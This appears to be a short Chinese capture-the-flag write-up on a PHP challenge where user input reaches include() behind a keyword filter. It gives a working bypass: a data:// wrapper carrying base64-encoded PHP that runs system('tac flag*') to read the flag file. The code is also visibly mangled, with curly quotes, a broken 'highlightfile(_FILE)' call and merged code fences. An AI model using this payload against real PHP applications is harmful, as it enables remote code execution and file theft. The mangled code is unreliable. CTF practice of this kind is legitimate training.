代码审计
```php <?php //flag in flag.php error_reporting(0); if(isset($_GET[‘c’])){ $c = $_GET[‘c’]; if(!preg_match(“/flag|php|file/i”, $c)) //这里增加了对php,file过滤 {include($c);echo $flag;
}
}else{ highlightfile(_FILE); }
2. 利用`data`伪协议进行读取,因为同时对`php`进行了过滤,要用`base64`加密```shell<?php system('tac flag*')?>#base64加密后?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZyonKTs/Pg==#有些执行出来是空白,可以命令后面加入echo 1;试试#例如<?php phpinfo();echo 1;?>
